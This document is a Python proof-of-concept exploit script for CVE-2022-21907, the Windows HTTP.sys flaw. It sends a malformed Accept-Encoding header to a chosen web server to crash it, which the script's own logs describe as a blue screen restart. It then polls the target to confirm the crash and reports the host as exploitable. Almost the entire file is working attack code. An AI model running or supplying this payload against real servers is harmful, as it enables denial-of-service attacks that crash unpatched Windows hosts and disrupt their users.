CVE-2022-21907.py

import requests
from loguru import logger
import time

header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36'}

class CVE_2022_21907():
    @logger.catch(level='ERROR')
    def first_handshake(self, target: str):
        try:
            resp = requests.get(target, headers=header, timeout=10)
            if resp.status_code == 200:
                logger.info(f'The first handshake: the target host is normal and can be verified by POC')
                return True
            logger.info(f'First handshake: the target host is normal, but returns an exception, status code: {resp.status_code}')
            return False
        except Exception as e:
            logger.info(f'First handshake error: The target host is abnormal, please check whether the target host is alive, error resp: {e}')
            return False

    @logger.catch(level='ERROR')
    def verify_handshake(self, target: str):
        try:
            resp = requests.get(target, headers=header, timeout=10)
            if resp.status_code == 200:
                logger.info(f'Verification result: The target host has restarted and returned to normal')
                return False
            logger.info(f'Verification result: The target host has restarted and returned to normal, but returned an exception with a status code: {resp.status_code}')
            return False
        except requests.exceptions.ConnectionError as e:
            logger.info(f'Verification result: The verification is successful, the target host is abnormal, has been exploited and entered the blue screen restart')
            return True

    @logger.catch(level='ERROR')
    def poc(self, target: str):
        # headers = {'Accept-Encoding': 'doar-e, ftw, imo, ,'}      # CVE-2021-31166
        headers = {
            'Accept-Encoding': 'AAAAAAAAAAAAAAAAAAAAAAAA, '
                               'BBBBBBcccACCCACACATTATTATAASDFADFAFSDDAHJSKSKKSKKSKJHHSHHHAY&AU&**SISODDJJDJJDJJJDJJSU**S, '
                               'RRARRARYYYATTATTTTATTATTATSHHSGGUGFURYTIUHSLKJLKJMNLSJLJLJSLJJLJLKJHJVHGF, '
                               'TTYCTCTTTCGFDSGAHDTUYGKJHJLKJHGFUTYREYUTIYOUPIOOLPLMKNLIJOPKOLPKOPJLKOP, '
                               'OOOAOAOOOAOOAOOOAOOOAOOOAOO, '
                               '****************************stupiD, *, ,'
        }                                                           # CVE-2022-21907
        try:
            r = requests.get(target, headers=headers, timeout=10)
            logger.info(f'POC handshake failed: {target} does not exist CVE-2022-21907 Vulnerability, may have been patched')
            return False
        except requests.exceptions.ReadTimeout as e:
            logger.info(f'POC handshake success: {target} maybe can Exploit!')
            return True

    @logger.catch(level='ERROR')
    def dia(self, url: str):
        if 'http' not in url:
            target = f'http://{url}'
        elif 'https' in url:
            target = url.replace('https', 'http')
        else:
            target = url
        logger.info(f'start verification: {target}')
        if not self.first_handshake(target):
            logger.info(f'{target} does not exist CVE-2022-21907 Vulnerability')
            return
        self.poc(target)
        logger.info(f'Deterministic verification again')
        while True:
            time.sleep(10)
            if not self.verify_handshake(target):
                break
            logger.info(f'{target} have CVE-2022-21907 vulnerability, can be exploited!')

if __name__ == '__main__':
    cve = CVE_2022_21907()
    cve.dia("http://127.0.0.1/")